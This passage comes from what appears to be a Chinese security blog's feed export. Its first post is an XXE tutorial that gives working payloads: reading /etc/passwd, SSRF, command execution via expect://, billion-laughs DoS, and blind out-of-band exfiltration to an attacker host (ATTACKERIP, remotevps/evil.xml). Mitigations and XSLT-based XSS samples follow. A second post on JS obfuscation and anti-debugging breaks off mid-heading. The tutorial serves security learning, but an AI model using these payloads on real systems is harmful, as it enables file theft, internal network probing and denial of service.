xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span> <span class="meta">&lt;!DOCTYPE <span class="keyword">xxe</span> [<span class="meta">&lt;!ELEMENT <span class="keyword">name</span> <span class="keyword">ANY</span> &gt;</span><span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///etc/passwd&quot;</span> &gt;</span>]&gt;</span><span class="tag">&lt;<span class="name">root</span>&gt;</span><span class="tag">&lt;<span class="name">name</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">name</span>&gt;</span><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>前提是需要有回显</p><h2 id="ssrf与xxe"><a class="markdownIt-Anchor" href="#ssrf与xxe">#</a> SSRF 与 XXE</h2><p>XXE 可以与 SSRF（服务端请求伪造） 漏洞一起用于探测其它内网主机的信息，基于 http 协议。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&gt;&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY &gt;&lt;!ENTITY % xxe SYSTEM &quot;http://internal.service/secret_pass.txt&quot; &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt;</span><br></pre></td></tr></table></figure></div><p>当然也可以用来探测端口信息，根据响应包的信息，若非 “connection refused” 则表示该端口可能是开放的。</p><p>除了以上的利用，控制服务器对外网发送请求也是有可能成功的。此处可使用 ncat 工具进行测试。</p><p>用 ncat 在自己的服务器上开启监听：ncat -lvkp 8081 (端口可自定义)</p><p>之后便可使用以下语句尝试是否能够建立连接：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;  &lt;!DOCTYPE data SYSTEM &quot;http://ATTACKERIP:8081/&quot; [  &lt;!ELEMENT data (#PCDATA)&gt;  ]&gt;&lt;data&gt;4&lt;/data&gt;</span><br></pre></td></tr></table></figure></div><p>如果能够建立连接，那么服务器端的 netcat 会收到相应的请求信息。</p><h2 id="rce"><a class="markdownIt-Anchor" href="#rce">#</a> RCE</h2><p>在安装 expect 扩展的 PHP 环境里执行系统命令，当然其他协议也有可能可以执行系统命令</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt; &lt;!DOCTYPE xxe [&lt;!ELEMENT name ANY &gt;&lt;!ENTITY xxe SYSTEM &quot;expect://id&quot; &gt;]&gt;&lt;root&gt;&lt;name&gt;&amp;xxe;&lt;/name&gt;&lt;/root&gt;</span><br></pre></td></tr></table></figure></div><h2 id="拒绝服务攻击dos"><a class="markdownIt-Anchor" href="#拒绝服务攻击dos">#</a> 拒绝服务攻击 (Dos)</h2><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot;?&gt;</span><br><span class="line">   &lt;!DOCTYPE lolz [</span><br><span class="line">&lt;!ENTITY lol &quot;lol&quot;&gt;</span><br><span class="line">&lt;!ENTITY lol2 &quot;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&quot;&gt;</span><br><span class="line">&lt;!ENTITY lol3 &quot;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&quot;&gt;</span><br><span class="line">&lt;!ENTITY lol4 &quot;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&quot;&gt;</span><br><span class="line">&lt;!ENTITY lol5 &quot;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&quot;&gt;</span><br><span class="line">&lt;!ENTITY lol6 &quot;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&quot;&gt;</span><br><span class="line">&lt;!ENTITY lol7 &quot;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&quot;&gt;</span><br><span class="line">&lt;!ENTITY lol8 &quot;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&quot;&gt;</span><br><span class="line">&lt;!ENTITY lol9 &quot;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;lolz&gt;&amp;lol9;&lt;/lolz&gt;</span><br></pre></td></tr></table></figure></div><p><strong>原理</strong>：递归引用，lol 实体具体还有 “lol” 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10 次 lol2 实体，此时一个 lol3 实体就含有 10^2 个 “lol” 了，以此类推，lol9 实体含有 10^8 个 “lol” 字符串，最后再引用 lol9。</p><h2 id="探测内网端口"><a class="markdownIt-Anchor" href="#探测内网端口">#</a> 探测内网端口</h2><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">xxe</span> [</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">name</span> <span class="keyword">ANY</span> &gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://127.0.0.1:80&quot;</span> &gt;</span>]&gt;</span> # 修改payload即可探测对应端口</span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">name</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h2 id="blind-xxe"><a class="markdownIt-Anchor" href="#blind-xxe">#</a> Blind XXE</h2><p>Blind XXE，字面意思也就是提交 xml 的服务器端点不再返回有效的数据，此时我们前面的一些利用方法就要失效了</p><h3 id="xxe-oob外带数据通道"><a class="markdownIt-Anchor" href="#xxe-oob外带数据通道">#</a> XXE OOB (外带数据通道)</h3><p><strong>概念</strong><br>带外数据 (out—of—band data)，有时也称为加速数据 (expedited data)，<br>是指连接双方中的一方发生重要事情，想要迅速地通知对方。这种通知在已经排队等待发送的任何 “普通”(有时称为 “带内”) 数据之前发送。带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的，而不是在客户机和服务器间再用一个连接。</p><p><strong>利用</strong><br>带外数据通道的建立是使用嵌套形式，利用外部实体中的 URL 发出访问，从而跟攻击者的服务器发生联系。但有些情况下不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。</p><p>将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot;?&gt;&lt;!DOCTYPE ANY[&lt;!ENTITY % file SYSTEM &quot;file:///C:/1.txt&quot;&gt;&lt;!ENTITY % remote SYSTEM &quot;http://remotevps/evil.xml&quot;&gt;%remote;%all;]&gt;&lt;root&gt;&amp;send;&lt;/root&gt;</span><br></pre></td></tr></table></figure></div><p>evil.xml：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY % all &quot;&lt;!ENTITY send SYSTEM &#x27;http://remotevps/1.php?file=%file;&#x27;&gt;&quot;&gt;</span><br></pre></td></tr></table></figure></div><p>实体 remote，all，send 的引用顺序很重要，首先对 remote 引用目的是将外部文件 evil.xml 引入到解释上下文中，然后执行 % all，这时会检测到 send 实体，在 root 节点中引用 send，就可以成功实现数据转发。当请求发送以后，攻击者的服务器上就能查看到 1.txt 中的内容。</p><h2 id="xxe漏洞防御"><a class="markdownIt-Anchor" href="#xxe漏洞防御">#</a> XXE 漏洞防御</h2><p><strong>1、使用开发语言提供的禁用外部实体的方法</strong><br> php:</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">libxml_disable_entity_loader</span>(<span class="literal">true</span>);</span><br></pre></td></tr></table></figure></div><p>java:</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">DocumentBuilderFactory</span> <span class="variable">dbf</span> <span class="operator">=</span>DocumentBuilderFactory.newInstance();</span><br><span class="line">dbf.setExpandEntityReferences(<span class="literal">false</span>);</span><br></pre></td></tr></table></figure></div><p>Python:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> lxml <span class="keyword">import</span> etree</span><br><span class="line">xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=<span class="literal">False</span>))</span><br></pre></td></tr></table></figure></div><p><strong>2、过滤用户提交的 XML 数据</strong><br>过滤关键字： <code>&lt;\!DOCTYPE</code>  和 <code>&lt;\!ENTITY</code> ，或者 <code>SYSTEM</code>  和 <code>PUBLIC</code> 。<br><strong>3、不允许 XML 中含有自己定义的 DTD</strong></p><h2 id="不止xxe"><a class="markdownIt-Anchor" href="#不止xxe">#</a> 不止 XXE</h2><h3 id="xslt"><a class="markdownIt-Anchor" href="#xslt">#</a> XSLT</h3><p>XSLT 全称为 Extensible Stylesheet Language Transformations，主要用于编写样式表将 XML 转换为其他格式的文档，如 XHTML、JSON、文本等。XSLT 也是基于 XML 的，但具备强大的灵活性和扩展性。不仅可以用于文档转换，还常被用于数据清洗、报告生成以及数据的提取和重组等任务。</p><p>XSLT 单独保存为文件时可以是  <code>.xsl</code>  或者  <code>.xslt</code>  后缀。以我们之前的  <code>note</code>  XML 为例，以下  <code>note.xsl</code>  将其转换为 XHTML 文档:</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">xsl:stylesheet</span> <span class="attr">version</span>=<span class="string">&quot;1.0&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">xmlns:xsl</span>=<span class="string">&quot;http://www.w3.org/1999/XSL/Transform&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">xsl:template</span> <span class="attr">match</span>=<span class="string">&quot;/&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">h1</span>&gt;</span>Note<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">p</span>&gt;</span>To: <span class="tag">&lt;<span class="name">xsl:value-of</span> <span class="attr">select</span>=<span class="string">&quot;note/to&quot;</span>/&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">p</span>&gt;</span>From: <span class="tag">&lt;<span class="name">xsl:value-of</span> <span class="attr">select</span>=<span class="string">&quot;note/from&quot;</span>/&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">xsl:template</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">xsl:stylesheet</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h3 id="xss"><a class="markdownIt-Anchor" href="#xss">#</a> XSS</h3><p>XSLT 可以为 XML 提供样式转换，而且这个转换是浏览器也支持的。既然可以将 XML 转换成 HTML 来渲染，那么是否支持 HTML 中的一些特性呢，比如执行 JavaScript 脚本？答案是肯定的。</p><p>我们稍微修改一下前文中的样式表，如下所示:</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">xsl:stylesheet</span> <span class="attr">version</span>=<span class="string">&quot;1.0&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">xmlns:xsl</span>=<span class="string">&quot;http://www.w3.org/1999/XSL/Transform&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">xsl:template</span> <span class="attr">match</span>=<span class="string">&quot;/&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"> <span class="title function_">alert</span>(<span class="regexp">/xss/</span>) </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">h1</span>&gt;</span>Note<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">p</span>&gt;</span>To: <span class="tag">&lt;<span class="name">xsl:value-of</span> <span class="attr">select</span>=<span class="string">&quot;note/to&quot;</span>/&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">p</span>&gt;</span>From: <span class="tag">&lt;<span class="name">xsl:value-of</span> <span class="attr">select</span>=<span class="string">&quot;note/from&quot;</span>/&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">xsl:template</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">xsl:stylesheet</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>除了间接引用 XSLT，在 XML 文档本身中，也可以通过命名空间指定 XHTML 来执行 JavaScript 代码，示例  <code>xss.xml</code>  如下:</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span>   </span><br><span class="line"><span class="tag">&lt;<span class="name">note</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">to</span>&gt;</span>Alice<span class="tag">&lt;/<span class="name">to</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">from</span>&gt;</span>Bob<span class="tag">&lt;/<span class="name">from</span>&gt;</span></span><br><span class="line">   &lt;xh:scriptxmlns:xh=&quot;http://www.w3.org/1999/xhtml&quot;&gt;alert(/xss/)<span class="tag">&lt;/<span class="name">xh:script</span>&gt;</span> </span><br><span class="line"><span class="tag">&lt;/<span class="name">note</span>&gt;</span> </span><br></pre></td></tr></table></figure></div><p>因为如果在 XML 中使用  <code>&lt;script&gt;</code>  标签会被认为是一个普通元素而不会将其子元素当成 JavaScript 执行。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;xml&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#xml&quot;&gt;#&lt;/a&gt; XML&lt;/h2&gt;
&lt;p&gt;XML 指可扩展标记语言（EXtensible Markup Language）。&lt;br&gt;
XML 的设计宗旨是&lt;strong&gt;传输数据</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>adout JS</title>
    <link href="http://example.com/2024/05/23/adout-JS/"/>
    <id>http://example.com/2024/05/23/adout-JS/</id>
    <published>2024-05-23T02:54:43.000Z</published>
    <updated>2024-10-22T13:48:16.384Z</updated>
    
    <content type="html"><![CDATA[<h1 id="js混淆与反混淆"><a class="markdownIt-Anchor" href="#js混淆与反混淆">#</a> JS 混淆与反混淆</h1><p><code>JavaScript</code>  混淆 <code>（Obfuscation）</code> 是指通过一系列技术手段，使 JS 代码变得难以理解和分析，增加代码的复杂性和混淆度，阻碍逆向工程和代码盗用。实际上就是一种保护 JS 代码的手段。</p><p>JS 最早被设计出来就是为了在客户端运行，直接以源码的形式传递给客户端，如果不做处理则完全公开透明，任何人都可以读、分析、复制、盗用，甚至篡改源码与数据，这是网站开发者不愿意看到的。</p><p>JS 混淆也是 CTF 比赛中常见的 Web 题型</p><h2 id="常见混淆手段"><a class="markdownIt-Anchor" href="#常见混淆手段">#</a> 常见混淆手段</h2><h3 id="代码压缩"><a class="markdownIt-Anchor" href="#代码压缩">#</a> 代码压缩</h3><p>就是将代码中的空格和换行符全部删除让代码变成一坨甚至一行，这种方式甚至会出现在一些代码审计的题中阻碍代码阅读</p><h2 id="代码混淆"><a class="markdownIt-Anchor" href="#代码混淆">#</a> 代码混淆</h2><h3 id="变量名函数名替换"><a class="markdownIt-Anchor" href="#变量名函数名替换">#</a> 变量名 / 函数名替换</h3><p>将有意义的变量名和函数名替换为随机生成的名称</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">function calculateArea(radius) &#123;</span></span><br><span class="line"><span class="comment">  return Math.PI * radius * radius;</span></span><br><span class="line"><span class="comment">&#125;</span></span><br><span class="line"><span class="comment">console.log(calculateArea(5));</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">_0x2d8f05</span>(<span class="params">_0x4b083b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="property">PI</span> * _0x4b083b * _0x4b083b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">_0x2d8f05</span>(<span class="number">5</span>));</span><br></pre></td></tr></table></figure></div><h3 id="字符串混淆"><a class="markdownIt-Anchor" href="#字符串混淆">#</a> 字符串混淆</h3><p>将代码中的字符串替换为十六或八进制、编码或者加密形式，防止代码被轻易读取，或者通过拼接使之不可以通过搜索查找原本字符串</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// let str = &#x27;eval&#x27;</span></span><br><span class="line"><span class="keyword">let</span> str = <span class="string">&#x27;\u0065\u0076\u0061\u006c&#x27;</span><span class="comment">//unicode编码</span></span><br><span class="line"><span class="keyword">let</span> str = <span class="number">14.</span>.<span class="title function_">toString</span>(<span class="number">15</span>) + <span class="number">31.</span>.<span class="title function_">toString</span>(<span class="number">32</span>) + <span class="number">0xf1</span>.<span class="title function_">toString</span>(<span class="number">22</span>) <span class="comment">//利用toStirng()</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// console.log(&quot;Hello, world!&quot;);</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21&quot;</span>); <span class="comment">//十六进制</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// let str = &#x27;eval&#x27;</span></span><br><span class="line"><span class="keyword">let</span> str = <span class="string">&#x27;e&#x27;</span>+<span class="string">&#x27;v&#x27;</span>+<span class="string">&#x27;a&#x27;</span>+<span class="string">&#x27;l&#x27;</span> <span class="comment">//拼接</span></span><br></pre></td></tr></table></figure></div><h3 id="访问成员变量的方法"><a class="markdownIt-Anchor" href="#访问成员变量的方法">#</a> 访问成员变量的方法</h3><p>JavaScript 中可以通过 <code>window.eval()</code>  访问 windows 对象的 eval 方法，也可以用 <code>window['eval']</code>  来访问</p><h3 id="利用数组拆分"><a class="markdownIt-Anchor" href="#利用数组拆分">#</a> 利用数组拆分</h3><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// console.log(new window.Date().getTime())  </span></span><br><span class="line"><span class="keyword">var</span> arr = [<span class="string">&#x27;log&#x27;</span>,<span class="string">&#x27;Date&#x27;</span>,<span class="string">&#x27;getTime&#x27;</span>]</span><br><span class="line"><span class="variable language_">console</span>[arr[<span class="number">0</span>]](<span class="keyword">new</span> <span class="variable language_">window</span>[arr[<span class="number">1</span>]]()[arr[<span class="number">2</span>]]())</span><br><span class="line"><span class="number">14.</span>.<span class="title function_">toString</span>(<span class="number">15</span>) + <span class="number">31.</span>.<span class="title function_">toString</span>(<span class="number">32</span>) + <span class="number">0xf1</span>.<span class="title function_">toString</span>(<span class="number">22</span>)</span><br></pre></td></tr></table></figure></div><h3 id="常量改算术表达式"><a class="markdownIt-Anchor" href="#常量改算术表达式">#</a> 常量改算术表达式</h3><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// var num = 1234</span></span><br><span class="line"><span class="keyword">var</span> num = <span class="number">602216</span> ^ <span class="number">603322</span> </span><br></pre></td></tr></table></figure></div><p>还可以进一步改成函数调用表达式</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// var num = 602216 ^ 603322 </span></span><br><span class="line"><span class="keyword">var</span> a = <span class="keyword">function</span> (<span class="params">s, h</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> s ^ h;</span><br><span class="line">&#125;(<span class="number">602216</span>, <span class="number">603322</span>)</span><br></pre></td></tr></table></figure></div><p>像这种方式在 js 中还有很多，（甚至可以套娃？滑稽.jpg</p><h3 id="反调试"><a class="markdownIt-Anchor" href="#反调试">#</a> 反调试</h3><h4 id="禁止debugger"><a class="markdownIt-Anchor" href="#禁止debugger">#</a> 禁止 debugger</h4><h4 id="定时器死循环"><a class="markdownIt-Anchor" href="#定时器死循环">#</a> 定时器死循环</h4><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">debug</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">debugger</span>;</span><br><span class="line">    <span class="built_in">setTimeout</span>(debug, <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">debug</span>(); <span class="comment">//这个可以把debug()的部分注释掉</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> c = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&quot;1&quot;</span>);</span><br><span class="line">c.<span class="property">toString</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">    <span class="title function_">alert</span>(<span class="string">&quot;检测到调试&quot;</span>)</span><br><span class="line">    <span class="built_in">setInterval</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">debugger</span></span><br><span class="line">    &#125;, <span class="number">1000</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c);</span><br></pre></td></tr></table></figure></div><h3 id="内存耗尽"><a class="markdownIt-Anchor" href="#内存耗尽">#</a> 内存耗尽</h3><p>更隐蔽的反调试手段，代码运行造成的内存占用会越来越大，很快会使浏览器崩溃。</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> startTime = <span class="keyword">new</span> <span class="title class_">Date</span>();</span><br><span class="line"><span class="keyword">debugger</span>;</span><br><span class="line"><span class="keyword">var</span> endTime = <span class="keyword">new</span> <span class="title class_">Date</span>();</span><br><span class="line"><span class="keyword">var</span> isDev = endTime - startTime &gt; <span class="number">100</span>;</span><br><span class="line"><span class="keyword">var</span> stack = [];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (isDev) &#123;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        stack.<span class="title function_">push</span>(<span class="variable language_">this</span>);</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(stack.<span class="property">length</span>, <span class="variable language_">this</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="清空控制台"><a class="markdownIt-Anchor" href="#清空控制台">#</a> 清空控制台</h3><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">clear</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">clear</span>();</span><br><span class="line">    <span class="built_in">setTimeout</span>(clear, <span class="number">10</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">clear</span>();</span><br></pre></td></tr></table></figure></div><h3 id="检测函数-对象属性修改"><a class="markdownIt-Anchor" href="#检测函数-对象属性修改">#</a> 